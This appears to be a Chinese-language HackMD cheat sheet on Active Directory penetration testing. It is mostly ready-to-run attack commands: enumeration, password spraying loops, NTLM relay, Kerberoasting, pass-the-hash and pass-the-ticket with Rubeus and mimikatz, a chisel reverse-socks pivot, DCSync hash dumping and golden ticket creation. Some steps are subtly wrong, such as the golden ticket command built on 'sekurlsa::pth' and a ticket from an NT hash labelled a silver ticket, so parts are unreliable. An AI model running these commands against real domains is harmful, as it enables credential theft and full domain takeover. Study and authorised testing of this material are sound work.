Try   HackMD

AD 網域滲透測試

目錄

學習連結

AD 基礎知識

Microsoft AD 訓練課程

DC

  • DC (Domain Controller)
  • RODC (Read-Only Domain Controller)
  • 加入 AD
    • DNS 指向 AD
    • 將系統加入 AD
    • 使用網域帳號登入
  • DC 與 DNS 通常是同一台
  • DC common port list:
- Port 389 LDAP
- Port 636 LDAP over SSL
- Port 88 Kerberos Authentication
- Port 3268 Global catalog Search
- Port 3269 Global catalog LDAP over SSL

DC 的功能:

  • 身份驗證: Kerberos、NTLM
  • 授權: 訪問控制、群組原則的應用。
  • 帳戶管理: 使用者、電腦、群組的建立、修改和刪除。
  • 時間同步: 網域內的時間同步服務。
  • 憑證服務 (AD CS)

DC 的安全考量:

  • 實體安全: 保護 DC 的實體存取。
  • 作業系統安全: 定期更新、安全配置。
  • 最小化安裝: 僅安裝必要的服務。
  • 監控與日誌: 監控 DC 的安全事件。

Recon

Nmap

常見開放 Port 與其對應漏洞

  • 53/tcp/udp (domain): DNS 服務,可能存在 DNS Zone Transfer 漏洞。
  • 123/udp (ntp): NTP 服務,可能用於時間同步攻擊。
  • 135/tcp (msrpc):
    • 提供微軟的遠端過程呼叫(Microsoft RPC)服務。
    • 可能被用於遠端程式碼執行漏洞利用(如 MS08-067)。
    • rpcclient
    • MS03-026 (Blaster/Lovsan 蠕蟲):
    • 漏洞: DCOM RPC 介面中的緩衝區溢位漏洞 (CVE-2003-0352)。
    • MS08-067 (Conficker 蠕蟲):
    • PrintNightmare (CVE-2021-1675, CVE-2021-34527):
      • 漏洞: Windows 列印多工緩衝處理器服務 (Print Spooler) 中的多個漏洞,涉及其 RPC 介面。
      • 影響: 允許經過身份驗證的低權限使用者(甚至在某些情況下是未經身份驗證的攻擊者)透過 RPC 呼叫(例如 RpcAddPrinterDriverEx()) 遠端執行程式碼(SYSTEM 權限)或進行本地權限提升。儘管攻擊可能透過 SMB (445) 或直接 RPC 進行,但核心問題在於 Spooler 服務的 RPC 處理邏輯。
    • DCOM 強制執行變更相關 (例如 CVE-2021-26414)
  • 137/udp (netbios-ns): NetBIOS Name Service,可能洩漏主機名稱資訊。
  • 138/udp (netbios-dgm): NetBIOS Datagram Service。
  • 139/tcp (netbios-ssn) & 445/tcp (microsoft-ds):
    • 提供 SMB 服務,可能用於檔案共用和身份驗證。是非常重要的目標,可以嘗試憑證攻擊、漏洞或共享檔案枚舉。
    • SMBv2 Message signing enabled but not required > ntlmrelay
  • 593/tcp (ncacn_ip_tcp): MSRPC Endpoint Mapper Port,與 135 類似。
  • 3389/tcp (ms-wbt-server):
    • 遠端桌面協定 (RDP) 服務。
    • 可以嘗試暴力破解或漏洞(如 BlueKeep)。
  • 49152+ /tcp (Dynamic RPC ports): 動態 RPC Port 範圍,與 MSRPC 相關。
  • 5985/tcp & 5986/tcp (wsman): WinRM (PowerShell Remoting) 服務。
  • 9389/tcp (adws): Active Directory Web Services。

Nmap Scripting Engine (NSE):

  • smb-vuln-* 腳本系列 (EternalBlue, WannaCry 等漏洞檢測)
  • smb-enum-shares 腳本 (枚舉 SMB 共享)
  • smb-os-discovery 腳本 (偵測作業系統版本)
  • ldap-* 腳本系列 (LDAP 相關的偵查)
  • winrm-* 腳本系列 (WinRM 相關的偵查)

Windows 環境下的枚舉

  • 查詢 Local User
    • net user
    • net user <username>
  • 查詢 password policy
    • net accounts
      Image Not Showing Possible Reasons
      • The image was uploaded to a note which you don't have access to
      • The note which the image was originally uploaded to has been deleted
      Learn More →
  • 查詢 Domain User
    • net user /domain
    • net user {username} /domain
  • 查詢權限
    • whoami /priv
  • 查詢預設高權限群組
    • net groups /domain
    • net groups "Domain Admins" /domain
    • net groups "Schema Admins" /domain
    • net groups "Enterprise Admins" /domain
  • 利用 null session 做帳號枚舉/身分驗證錯誤
    • 建立 null session:net use \\DC01\ipc$ "" /u:""
    • net use \\DC01\ipc$ "" /u:guest
      • 可能出現:This user can't sign in because this account is currently disabled.
    • 帶有 password 時:net use \\DC01\ipc$ "password" /u:guest
      • 可能出現:The user name or password is incorrect.
      • 或是:The referenced account is currently locked out and may not be logged on to.

PowerShell Cmdlet:

  • Get-ADUser:查詢網域使用者資訊。
  • Get-ADGroup:查詢網域群組資訊。
  • Get-ADComputer:查詢網域電腦資訊。
  • Get-ADObject:查詢 AD 物件資訊。
  • Get-NetDomain:查詢網域資訊。
  • Get-NetForest:查詢樹系資訊。
  • Get-NetOU:查詢組織單位 (OU) 資訊。
  • Get-NetGPO:查詢群組原則物件 (GPO) 資訊。
  • Get-NetLocalGroupMember:查詢本機群組成員。
  • Get-NetGroupMember:查詢網域群組成員。
  • Get-MpComputerStatus:觀察防毒狀態
  • Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections:AppLockerl

LDAP :

  • DN:Distinguish Name
  • CN: Common Name
  • OU:Organization Unit Name
  • DC: Domain Componet

Linux LDAP Recon:

  • tools:windapsearch.py, ldapsearch, ldapdomaindump.py
  • 沒有 password,有帳號時:
    • ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "*"
    • 搜尋 password policy:ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
    • 獲取 Domain user lists:ldapsearch -H ldap://<ip> -x -b "DC=...,DC=..." -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
  • 有password:ldapsearch -x -H ldap://<ip> -D 'user@domain' -w 'password' -b 'dc=<domain_name>,dc=<top_domain>' '(ObjectClass=user)'
    • nxc ldap -u <user> -p <password> > NTLM 驗證(NXC 默認驗證方法),要啟用 Protocol transition 才能用 NTLM 存取 kerberos 驗證的服務。
    • nxc ldap -u <user> -p <password> -k > 指定用 Kerberos 驗證(Protocol transition 關閉時可以用)

Domain Controller

  • echo %logonserver%
  • nltest /dclist:<domain>

Powerview

  • 用之前先 import:import-module .\PowerView.ps1
    • Password Policy:Get-DomainPolicy
    • Invoke-UserHunter:PowerView 中的腳本,用於尋找網域管理員登入的系統。
    • Invoke-ProcessHunter:PowerView 中的腳本,用於尋找特定進程 (例如 Mimikatz) 運行的系統。

SMB

  • ExternalBlue, WannaCry
  • port:139 (NetBIOS), 445
  • smbclient
    • smbclient -L \\<ip> -U user%password
    • smbclient -U user \\\\10.129.42.197\\SHARENAME
  • smbmap
    • smbmap -u <user> -d <domain> -p <password> -H <host_ip>
  • Crackmapexec / nxc
  • https://github.com/seriotonctf/cme-nxc-cheat-sheet
    • 獲取 Domain user lists:crackmapexec smb <host_ip> --users
    • crackmapexec smb <host_ip> -u <username> -p <password>
    • crackmapexec smb <host_ip> -u "user" -p "password" --shares
  • enum4linux
    • enum4linux -P <Host_IP>
    • 獲取 Domain user lists:enum4linux -U <Host_IP> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
    • enum4linux -u <username> -p <password> <Host_IP>
  • enum4linux-ng
    • enum4linux-ng -P {ip} -oA {output_filename}

RPC (Port 135)

rpcclient Samba 套件的一部分,可以用來連接目標主機並執行各種 RPC 操作,像是枚舉使用者、群組、共享資料夾等資訊。

  • 匿名登入:rpcclient -U "" -N <ip>
    • -U "":表示匿名連接,無需提供使用者名稱。
    • -N:表示不要求密碼。
    • 取得 Password policy:querydominfo
    • 利用 ldap 匿名取得 Domain user lists:enumdomusers
      • ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
  • 帳號認證連接:rpcclient -U "username%password" <ip>
  • 一次性執行命令:rpcclient -U "" -N 10.7.30.21 -c "<command>"

GPO enumeration

GPO

\\<domain>\SysVol\<domain>\Policie
\\<domain>\SysVol\<domain>\Policie\<UID>\Users\Scripts
\\<domain>\SysVol\<domain>\Policie\<UID>\Machine\Scripts
  • 群組原則
    • Get-NetGPO

GetUserSPNs[.]py

  • 用來查詢網域內用戶註冊的 SPN
    • Import-Module .\GetUserSPN.ps1
  • 發動Kerberoasting前偵查

Kerbrute

  • 製作密碼噴灑的 username lists:kerbrute userenum -d domain.local --dc <dc-ip> /wordlists.txt

Windows ADRecon.ps1

  • https://github.com/adrecon/ADRecon
  • usage:powershell.exe –nop –ep bypass .\adrecon.ps1 -DomainController <dc-ip> -Credential <user>/<doamin>
  • Install-windowsfeature RSAT

BloodHoundAD

  • Windows
  • nxc
    • nxc ldap <ip> -u user -p pass --bloodhound --collection All
    • nxc ldap <ip> -u user -p pass --bloodhound --collection All --dns-server <ip>

Lateral Movement(橫向移動)

  • 橫向移動仰賴幾種網域內的驗證方式:
    • NTLM Hash/NTLM v2 Hash
    • Tickets(Kerberos)
    • Password
    • AES256 Keys

SMB

psexec

cme/nxc

  • crackmapexec smb [IP] -u administrator -p Passw0rd ‐‐exec‐method mmcexec ‐x 'whoami'
    - --exec-method {mmcexec,smbexec,atexec,wmiexec}

網路芳鄰

  • samba 協議
  • Domain admin 可以任意觀看
  • \\<ip>\c$
  • smbclient -L \\<ip>\c$

掛載遠端磁碟

  • 掛載遠端磁碟
    • net use \\<ip>\C$ "<password>" /user:<username>
  • 查看已掛載的遠端磁碟
    • net use
  • Copy 檔案
    • copy mimikatz.exe \\<ip>\C$

RDP 遠端桌面

  • 預設 port:TCP/3389
  • 預設情況下,只有 administratorRemote Desktop Users 群組 的成員可以用 RDP 連線。
  • 此外,管理員可以授予特定使用者或群組連接到 RDP 的權限。因為這些權限是在本地設定的,所以枚舉它們的唯一方法是我們在目標電腦上擁有管理權限。
  • Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName
  • Enum:nxc rdp <subnet> -u user -p 'password' -d <domain>.local
    • 顯示:Pwn3d! 代表該 user 是我們能夠連進去的

Windows

  • mstsc.exe
    image

Abuse Restricted Admin Mode

  • 需要先提權到 Administrator 群組
  • Restricted Admin Mode 啟用時連接 RDP 會用 network logon ,而非 interactive logon,這個差異最主要是用來防止被 Credential cache。
    • 不過這個特性卻能讓攻擊者做 pass the hash 或 pass the ticket 做橫向移動
  • 確認 R.A.M 是否開啟:reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
    • 有開的話是 0
    • 沒開的話是 1
  • 如果是 disable 的狀態的話,嘗試開啟:
    • reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
  • Pass the Ticket:
    • 使用前:.\Rubeus.exe createnetonly /program:powershell.exe /show
    • 生成銀票:.\Rubeus.exe asktgt /user:<user> /rc4:<NT hash> /domain:<domain>.local /ptt
      • 銀票是利用 NT hash 做 key 去加密Kerberos 票證
      • /ptt:直接 inject 到當前 session 中,因此在當前的 powershell 中再打開 mstsc.exe /restrictedAdmin ,即可移動成功。

Linux

  • xfreerdp 下載:sudo apt-get install freerdp2-x11
    • xfreerdp /u:<user> /p:'<password>' /v:<Host_IP> /d:<domain>.local /dynamic-resolution /drive:.,linux
    • Optimizing xfreerdp:xfreerdp /u:<user> /p:'Password' /d:<domain>.local /v:<ip> /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache
  • Pivoting to PTH
    • Linux(目前的主機):
      1. vim /etc/proxychains.conf
      2. ./chisel server --reverse
    • Windows(開放rdp的主機):
      1. chisel.exe client <VPN IP> R:socks
    • Pass the Hash (Linux > Windows):
      • proxychains4 -q xfreerdp /u:<user> /pth:<NT hash> /d:<domain>.local /v:<rdp_target_ip>
      • 執行完才能拿到該台的shell
  • Pass the Ticket (Windows > Windows 也可以 PTH)
    • .\Rubeus.exe createnetonly /program:powershell.exe /show
    • .\Rubeus.exe asktgt /user:<user> /rc4:<NTLM> /domain:<Domain>.local /ptt
    • 連接rdp:mstsc.exe /restrictedAdmin

WMI

Pass the Hash

kali:pth-winexe https://github.com/byt3bl33d3r/pth-toolkit/tree/master

  • 無法過 Proxychains
  • 類似 Psexec,但支援以 Hash 代替密碼
  • usage:pth-winexe -U <domain>/<username>%aad3b435b51404eeaad3b435b51404ee(LM_Hash):<NTLM Hash> //<IP> cmd.exe

On Windows:
wmiexec.exehttps://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe

wmiexec.exe -hashes <LM>:<NTLM> <domain>/<username>@<ip> <command>

  • Mimikatz:
    • must dump hashes first:sekurlsa::pth/user:Administrator/domain:atomic.local/ntlm:cc36cf7a8514893efccd3324464tkg1a
    • Kerberos Ticket attack
      kerberos::ptt Administrator@krbtgt-atomic.LOCAL.kirbi

WINRM

PowerShell Remoting(Windows Remote Management)

  • PowerShell Remoting only allows connections from members of the Administrators group
  • Members of the Remote Management Users group can access WMI resources over management protocols
  • PowerShell Remoting (and WinRM) listen on the following ports:
    • HTTP:5985
    • HTTPS:5986
  • Recon:
    • crackmapexec winrm <host_ip> -u user.list -p password.list
  • tools:https://github.com/Hackplayers/evil-winrm
    • sudo gem install evil-winrm
    • evil-winrm -i <target-IP> -u <username> -p <password>

DCOM

SSH

MSSQL

Exchange

SCCM

LLMNR & NBT-NS Poisoning

Linux

Windows

  • Inveigh.ps1:https://github.com/Kevin-Robertson/Inveigh
  • 1.Import-Module .\Inveigh.ps1
  • 2.Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
  • 查看利用參數:(Get-Command Invoke-Inveigh).Parameters
  • 獲取 NTLM Hash

Exploitation

KrbRelayUp

DavRelayUp

  • https://github.com/Dec0ne/DavRelayUp
  • 透過啟用從 WebDAV 到 LDAP 的 NTLM 中繼來擴展攻擊。它利用基於資源的約束委派 (RBCD) 在加入網域的 Windows 工作站上做 LPE,同時也針對沒有 LDAP signature 的環境。

Password Spraying(密碼噴灑)

  • Recon:cme, rpcclient, enum4linux, ldap, powerview 取得帳號
  • 已知很多帳號,嘗試一種密碼做嘗試

Linux

  • CrackMapExec:https://github.com/byt3bl33d3r/CrackMapExec
    • cme {protocol} {target(s)} -u <usernames_lists> -p <passwords_lists>
    • cme {protocol} {target(s)} -u <usernames_lists> -p <passwords_lists> --no-bruteforce
  • rpcclient:
    • bash:for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" <dc-ip> | grep Authority; done
      • grep Authority 是用來過濾有效登入
  • kerbrute:
    • kerbrute passwordspray -d <domain>.local --dc <dc-ip> valid_users.txt <password>
  • sprayhound
    sprayhound -U users.txt -d <domain> -dc <dc_ip> --lower

Windows

SMB Relay / NTLM Relay

  • Pre-work:sudo vim /etc/responder/Responder.conf
    • SMB = Off
  • 列舉 SMB signing disabled 或 設置為 "not required" 的 user:
  1. nmap -sSV -p 445 -script smb2-security-mode <subnet>
  2. crackmapexec smb <ip_or_ip_range> --gen-relay-list relay.txt
  3. impacket-ntlmrelayx -tf relay.txtrelay.txt.txt -of netntlm -smb2support -socks

Kerberoasting

  • 控制任一個網域使用者後可以進行
  • Recon (拿user name lists):
    • crackmapexec smb {ip} --users (smb username)
    • nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<user.txt>" <ip>
  • exploit:impacket-GetUserSPNs {domain}\{name}:{[password]} -dc-ip {dc-ip} -request -outputfile hash

AS-REP Roasting

  • GetNPUsers.py <Domain>/ -no-pass -usersfile <users_file>

Kerberos Delegation

  1. Unconstrained Delegation
    image

Graphic: Kerberos Unconstrained Delegation Communication Flow
圖片來源:https://adsecurity.org/?p=1667

  1. Constrained Delegation
    • 經過授權的帳號,可以在限制下模擬存取、寫入其它服務。
    • 需要管理員權限
  2. Resource Based Constrained Delegation(RBCD)
  • Information gathering:impacket-findDelegation {domain}/{user}:{password}
    • Constrained w/ Protocol Transition CIFS/...
  • impacket-getST -spn CIFS/... -impersonate administrator {domain}/{user}:{passowrd}
    • 模擬 administrator 權限

ACL Abuse

ACL Enum

  • Find-InterestingDomainAcl

DcSync

  • 本地址用者資料庫 C:\windows\system32\config\SAM
    • Windows 後滲透
  • 網域使用者資料庫 C:\Windows\NTDS\NTDS.dit
    • DcSync 就是把 NTDS.dit 的資料導出來
  • 發動條件:有 Domain Admin 權限 或 具有Replicating Directory ChangesReplicating Directory Changes All 才能應用此攻擊 (擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 群組內的使用者權限)

Dumping Hash

  • cme:nxc smb <dc_ip> -H <hash> -d <domain> -u <username> --ntds
  • Mimikatz
    • 切到 Domain Admin 帳戶 (會彈出新的 cmd 視窗)
      1. privilege::debug
      2. sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlm>
      3. 再啟用後:lsadump::dcsync /all
  • secretsdump
    • python3 impacket-secretsdump <Domain>/administrator:<Domiain_admin_password>@<ip> -dc-ip <dc_ip> -just-dc-user administrator

Generating Golden ticket

  • Golden Ticket 是一種特權 Kerberos TGT(Ticket Granting Ticket),允許攻擊者假冒域內的任何用戶,並在域內擁有最高權限。

  • 透過上述 Dumping Hash 攻擊獲得 (krbtgt的) NTLM hash 之後,接著可以製作 Golden Ticket

  • On Windows:

    • mimikatz:
      • lsadump::dcsync /domain:<domain> /user:krbtgt
      • 生成:sekurlsa::pth /user:administrator /domain:example.com /ntlm:KRBTGT_NTLM_HASH /sid:S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX /target:example.com /groups:513 /ticket:golden.kirbi
      • 注入 Golden Ticket:kerberos::ptt golden.kirbi
      • 成功拿下最高權限
  • On Linux:
    secretsdump 利用目錄複製服務遠程協議 (MS-DRSR),也就是 DCSync 所依賴的協議,來模擬域控制器之間的複製行為,從而請求指定域控制器上的帳戶 NTLM

    • impacket-secretsdump '<DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP_OR_HOSTNAME>' -just-dc

      image

    • or PTH:impacket-secretsdump '<DOMAIN>/<USERNAME>@<DC_IP_OR_HOSTNAME>' -hashes <LM_HASH>:<NTLM_HASH> -just-dc

    • SID Extraction:impacket-lookupsid:<DOMAIN>/<USERNAME>:'<PASSWORD>'@<DC_IP_OR_HOSTNAME>

      image

    • 需要一個有效的 Kerberos TGT ticket,並將其保存在 ccache)。

      • 通常通過 kinit (如果知道密碼或有 keytab) 或其他攻擊手段(如 Kerberoasting)獲得。
      • export KRB5CCNAME=/path/to/your/ticket.ccache

Attacking Domain Trust